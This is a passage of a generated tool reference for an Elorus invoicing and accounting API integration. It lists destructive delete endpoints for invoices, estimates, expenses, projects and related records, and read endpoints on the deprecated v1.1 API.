which is why this tool takes a body on a DELETE; documents already numbered from it keep their numbers via DELETE /v1.2/documenttypes/{parent_pk}/sequences/delete/ DELETE /api/v1/elorus/v1.2/documenttypes/{parent_pk}/sequences/delete. Scopes: api. elorus_delete_v1_2_emailtemplates_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one email template -- the subject and body Elorus uses when it emails a document. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/emailtemplates/{id}/ DELETE /api/v1/elorus/v1.2/emailtemplates/{id}. Scopes: api. elorus_delete_v1_2_estimates_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one estimate -- a quotation sent to a client before any invoice exists. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/estimates/{id}/ DELETE /api/v1/elorus/v1.2/estimates/{id}. Scopes: api. elorus_delete_v1_2_estimates_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from an estimate -- a quotation sent to a client before any invoice exists -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/estimates/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/estimates/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_estimates_by_parent_pk_discussions_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one client-facing discussion message from an estimate -- a quotation sent to a client before any invoice exists. Elorus answers 204 with no body via DELETE /v1.2/estimates/{parent_pk}/discussions/{id}/ DELETE /api/v1/elorus/v1.2/estimates/{parent_pk}/discussions/{id}. Scopes: api. elorus_delete_v1_2_estimates_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from an estimate -- a quotation sent to a client before any invoice exists. Elorus answers 204 with no body via DELETE /v1.2/estimates/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/estimates/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_expenses_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one expense -- a cost recorded against the organization, optionally billable to a project. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/expenses/{id}/ DELETE /api/v1/elorus/v1.2/expenses/{id}. Scopes: api. elorus_delete_v1_2_expenses_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from an expense -- a cost recorded against the organization, optionally billable to a project -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/expenses/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/expenses/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_expenses_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from an expense -- a cost recorded against the organization, optionally billable to a project. Elorus answers 204 with no body via DELETE /v1.2/expenses/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/expenses/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_goodsreceipts_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one goods receipt -- a record of stock received into a warehouse. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/goodsreceipts/{id}/ DELETE /api/v1/elorus/v1.2/goodsreceipts/{id}. Scopes: api. elorus_delete_v1_2_goodsreceipts_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a goods receipt -- a record of stock received into a warehouse. Elorus answers 204 with no body via DELETE /v1.2/goodsreceipts/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/goodsreceipts/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_goodsreceiptsequences_delete (write, destructive) — DESTRUCTIVE: delete one goods-receipt numbering sequence -- the counter Elorus draws goods-receipt numbers from. The sequence to remove is named in the REQUEST BODY rather than in the path, which is why this tool takes a body on a DELETE; goods receipts already numbered from it keep their numbers via DELETE /v1.2/goodsreceiptsequences/delete/ DELETE /api/v1/elorus/v1.2/goodsreceiptsequences/delete. Scopes: api. elorus_delete_v1_2_invoices_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one invoice -- a sales invoice issued to a client. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/invoices/{id}/ DELETE /api/v1/elorus/v1.2/invoices/{id}. Scopes: api. elorus_delete_v1_2_invoices_by_parent_pk_applied_credit_by_id (write, destructive) — DESTRUCTIVE: un-apply one credit application from an invoice -- a sales invoice issued to a client -- which puts the amount back on the credit and back onto the document's balance. Elorus answers 204 with no body via DELETE /v1.2/invoices/{parent_pk}/applied-credit/{id}/ DELETE /api/v1/elorus/v1.2/invoices/{parent_pk}/applied-credit/{id}. Scopes: api. elorus_delete_v1_2_invoices_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from an invoice -- a sales invoice issued to a client -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/invoices/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/invoices/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_invoices_by_parent_pk_discussions_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one client-facing discussion message from an invoice -- a sales invoice issued to a client. Elorus answers 204 with no body via DELETE /v1.2/invoices/{parent_pk}/discussions/{id}/ DELETE /api/v1/elorus/v1.2/invoices/{parent_pk}/discussions/{id}. Scopes: api. elorus_delete_v1_2_invoices_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from an invoice -- a sales invoice issued to a client. Elorus answers 204 with no body via DELETE /v1.2/invoices/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/invoices/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_organizationbranch_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one organization branch -- a branch or establishment of the organization. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/organizationbranch/{id}/ DELETE /api/v1/elorus/v1.2/organizationbranch/{id}. Scopes: api. elorus_delete_v1_2_products_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one product -- a product or service line item, with its price and stock. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/products/{id}/ DELETE /api/v1/elorus/v1.2/products/{id}. Scopes: api. elorus_delete_v1_2_products_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a product -- a product or service line item, with its price and stock. Elorus answers 204 with no body via DELETE /v1.2/products/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/products/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_products_by_parent_pk_stockadjustments_by_id (write, destructive) — DESTRUCTIVE: delete one stock adjustment from a product -- a product or service line item, with its price and stock, which MOVES THE STOCK LEVEL BACK. Elorus answers 204 with no body via DELETE /v1.2/products/{parent_pk}/stockadjustments/{id}/ DELETE /api/v1/elorus/v1.2/products/{parent_pk}/stockadjustments/{id}. Scopes: api. elorus_delete_v1_2_projects_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one project -- a billable engagement that time entries and expenses hang off. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/projects/{id}/ DELETE /api/v1/elorus/v1.2/projects/{id}. Scopes: api. elorus_delete_v1_2_projects_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from a project -- a billable engagement that time entries and expenses hang off -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/projects/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/projects/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_projects_by_parent_pk_discussions_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one client-facing discussion message from a project -- a billable engagement that time entries and expenses hang off. Elorus answers 204 with no body via DELETE /v1.2/projects/{parent_pk}/discussions/{id}/ DELETE /api/v1/elorus/v1.2/projects/{parent_pk}/discussions/{id}. Scopes: api. elorus_delete_v1_2_projects_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a project -- a billable engagement that time entries and expenses hang off. Elorus answers 204 with no body via DELETE /v1.2/projects/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/projects/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_projects_by_parent_pk_projectextrafees_by_id (write, destructive) — DESTRUCTIVE: delete one extra fee from a project -- a billable engagement that time entries and expenses hang off, which lowers what the project's next invoice will bill. Elorus answers 204 with no body via DELETE /v1.2/projects/{parent_pk}/projectextrafees/{id}/ DELETE /api/v1/elorus/v1.2/projects/{parent_pk}/projectextrafees/{id}. Scopes: api. elorus_delete_v1_2_recurringinvoices_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one recurring invoice -- the schedule Elorus issues repeating invoices from. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/recurringinvoices/{id}/ DELETE /api/v1/elorus/v1.2/recurringinvoices/{id}. Scopes: api. elorus_delete_v1_2_recurringinvoices_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a recurring invoice -- the schedule Elorus issues repeating invoices from. Elorus answers 204 with no body via DELETE /v1.2/recurringinvoices/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/recurringinvoices/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_suppliercredits_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one supplier credit -- credit received FROM a supplier, which can then be applied against bills. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/suppliercredits/{id}/ DELETE /api/v1/elorus/v1.2/suppliercredits/{id}. Scopes: api. elorus_delete_v1_2_suppliercredits_by_parent_pk_applied_credit_by_id (write, destructive) — DESTRUCTIVE: un-apply one credit application from a supplier credit -- credit received FROM a supplier, which can then be applied against bills -- which puts the amount back on the credit and back onto the document's balance. Elorus answers 204 with no body via DELETE /v1.2/suppliercredits/{parent_pk}/applied-credit/{id}/ DELETE /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/applied-credit/{id}. Scopes: api. elorus_delete_v1_2_suppliercredits_by_parent_pk_attachments_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one attachment from a supplier credit -- credit received FROM a supplier, which can then be applied against bills -- together with its stored file. Elorus answers 204 with no body, and this integration cannot upload a replacement via DELETE /v1.2/suppliercredits/{parent_pk}/attachments/{id}/ DELETE /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/attachments/{id}. Scopes: api. elorus_delete_v1_2_suppliercredits_by_parent_pk_notes_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one internal note from a supplier credit -- credit received FROM a supplier, which can then be applied against bills. Elorus answers 204 with no body via DELETE /v1.2/suppliercredits/{parent_pk}/notes/{id}/ DELETE /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/notes/{id}. Scopes: api. elorus_delete_v1_2_tasks_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one task -- a billable activity type time entries are recorded against. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/tasks/{id}/ DELETE /api/v1/elorus/v1.2/tasks/{id}. Scopes: api. elorus_delete_v1_2_timeentries_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one time entry -- tracked time on a project, billable or not. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/timeentries/{id}/ DELETE /api/v1/elorus/v1.2/timeentries/{id}. Scopes: api. elorus_delete_v1_2_unitofmeasurement_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one unit of measurement -- the unit a product quantity is expressed in. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/unitofmeasurement/{id}/ DELETE /api/v1/elorus/v1.2/unitofmeasurement/{id}. Scopes: api. elorus_delete_v1_2_warehouse_by_id (write, destructive) — DESTRUCTIVE and with no undo in this integration: permanently delete one warehouse -- a stock location goods receipts and adjustments move stock through. Elorus answers 204 with no body. A document that has been sent or paid usually cannot be deleted at all and is voided instead -- see the void tool for the same resource where one exists via DELETE /v1.2/warehouse/{id}/ DELETE /api/v1/elorus/v1.2/warehouse/{id}. Scopes: api. elorus_get_v1_1_bills (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's bills -- a purchase invoice a supplier issued to this organization -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/bills/ GET /api/v1/elorus/v1.1/bills. Scopes: api. elorus_get_v1_1_bills_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one bill by id -- a purchase invoice a supplier issued to this organization -- including the nested detail a listing omits via GET /v1.1/bills/{id}/ GET /api/v1/elorus/v1.1/bills/{id}. Scopes: api. elorus_get_v1_1_bills_by_id_email (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read the email Elorus WOULD send for one bill -- a purchase invoice a supplier issued to this organization -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.1/bills/{id}/email/ GET /api/v1/elorus/v1.1/bills/{id}/email. Scopes: api. elorus_get_v1_1_bills_by_id_pdf (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Render one bill -- a purchase invoice a supplier issued to this organization -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.1/bills/{id}/pdf/ GET /api/v1/elorus/v1.1/bills/{id}/pdf. Scopes: api. elorus_get_v1_1_cashpayments (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's cash payments -- money paid OUT, against a bill or a supplier -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/cashpayments/ GET /api/v1/elorus/v1.1/cashpayments. Scopes: api. elorus_get_v1_1_cashpayments_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one cash payment by id -- money paid OUT, against a bill or a supplier -- including the nested detail a listing omits via GET /v1.1/cashpayments/{id}/ GET /api/v1/elorus/v1.1/cashpayments/{id}. Scopes: api. elorus_get_v1_1_cashreceipts (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's cash receipts -- money taken IN, against an invoice or a client -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/cashreceipts/ GET /api/v1/elorus/v1.1/cashreceipts. Scopes: api. elorus_get_v1_1_cashreceipts_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one cash receipt by id -- money taken IN, against an invoice or a client -- including the nested detail a listing omits via GET /v1.1/cashreceipts/{id}/ GET /api/v1/elorus/v1.1/cashreceipts/{id}. Scopes: api. elorus_get_v1_1_cashreceipts_by_id_pdf (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Render one cash receipt -- money taken IN, against an invoice or a client -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.1/cashreceipts/{id}/pdf/ GET /api/v1/elorus/v1.1/cashreceipts/{id}/pdf. Scopes: api. elorus_get_v1_1_contacts (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's contacts -- a client or supplier, with its billing and shipping addresses -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/contacts/ GET /api/v1/elorus/v1.1/contacts. Scopes: api. elorus_get_v1_1_contacts_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one contact by id -- a client or supplier, with its billing and shipping addresses -- including the nested detail a listing omits via GET /v1.1/contacts/{id}/ GET /api/v1/elorus/v1.1/contacts/{id}. Scopes: api. elorus_get_v1_1_creditnotes (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's credit notes -- credit issued TO a client, which can then be applied against invoices -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/creditnotes/ GET /api/v1/elorus/v1.1/creditnotes. Scopes: api. elorus_get_v1_1_creditnotes_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one credit note by id -- credit issued TO a client, which can then be applied against invoices -- including the nested detail a listing omits via GET /v1.1/creditnotes/{id}/ GET /api/v1/elorus/v1.1/creditnotes/{id}. Scopes: api. elorus_get_v1_1_creditnotes_by_id_email (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read the email Elorus WOULD send for one credit note -- credit issued TO a client, which can then be applied against invoices -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.1/creditnotes/{id}/email/ GET /api/v1/elorus/v1.1/creditnotes/{id}/email. Scopes: api. elorus_get_v1_1_creditnotes_by_id_pdf (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Render one credit note -- credit issued TO a client, which can then be applied against invoices -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.1/creditnotes/{id}/pdf/ GET /api/v1/elorus/v1.1/creditnotes/{id}/pdf. Scopes: api. elorus_get_v1_1_creditnotes_by_parent_pk_applied_credit (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List the credit-note or supplier-credit amounts already applied against one credit note -- credit issued TO a client, which can then be applied against invoices -- with each application's id and amount via GET /v1.1/creditnotes/{parent_pk}/applied-credit/ GET /api/v1/elorus/v1.1/creditnotes/{parent_pk}/applied-credit. Scopes: api. elorus_get_v1_1_documenttypes (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's document types -- one of the organization's document kinds, which owns its own numbering sequences -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/documenttypes/ GET /api/v1/elorus/v1.1/documenttypes. Scopes: api. elorus_get_v1_1_documenttypes_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one document type by id -- one of the organization's document kinds, which owns its own numbering sequences -- including the nested detail a listing omits via GET /v1.1/documenttypes/{id}/ GET /api/v1/elorus/v1.1/documenttypes/{id}. Scopes: api. elorus_get_v1_1_emailtemplates (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's email templates -- the subject and body Elorus uses when it emails a document -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/emailtemplates/ GET /api/v1/elorus/v1.1/emailtemplates. Scopes: api. elorus_get_v1_1_emailtemplates_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one email template by id -- the subject and body Elorus uses when it emails a document -- including the nested detail a listing omits via GET /v1.1/emailtemplates/{id}/ GET /api/v1/elorus/v1.1/emailtemplates/{id}. Scopes: api. elorus_get_v1_1_estimates (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's estimates -- a quotation sent to a client before any invoice exists -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/estimates/ GET /api/v1/elorus/v1.1/estimates. Scopes: api. elorus_get_v1_1_estimates_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one estimate by id -- a quotation sent to a client before any invoice exists -- including the nested detail a listing omits via GET /v1.1/estimates/{id}/ GET /api/v1/elorus/v1.1/estimates/{id}. Scopes: api. elorus_get_v1_1_estimates_by_id_email (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read the email Elorus WOULD send for one estimate -- a quotation sent to a client before any invoice exists -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.1/estimates/{id}/email/ GET /api/v1/elorus/v1.1/estimates/{id}/email. Scopes: api. elorus_get_v1_1_estimates_by_id_pdf (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Render one estimate -- a quotation sent to a client before any invoice exists -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.1/estimates/{id}/pdf/ GET /api/v1/elorus/v1.1/estimates/{id}/pdf. Scopes: api. elorus_get_v1_1_expensecategories (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's expense categories -- the bucket an expense is booked to -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.1/expensecategories/ GET /api/v1/elorus/v1.1/expensecategories. Scopes: api. elorus_get_v1_1_expensecategories_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one expense category by id -- the bucket an expense is booked to -- including the nested detail a listing omits via GET /v1.1/expensecategories/{id}/ GET /api/v1/elorus/v1.1/expensecategories/{id}. Scopes: api. elorus_get_v1_1_expenses (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's expenses -- a cost recorded against the organization, optionally billable to a project -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/expenses/ GET /api/v1/elorus/v1.1/expenses. Scopes: api. elorus_get_v1_1_expenses_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Read one expense by id -- a cost recorded against the organization, optionally billable to a project -- including the nested detail a listing omits via GET /v1.1/expenses/{id}/ GET /api/v1/elorus/v1.1/expenses/{id}. Scopes: api. elorus_get_v1_1_invoices (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. List this organization's invoices -- a sales invoice issued to a client -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.1/invoices/ GET /api/v1/elorus/v1.1/invoices. Scopes: api. elorus_get_v1_1_invoices_by_id (read) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer 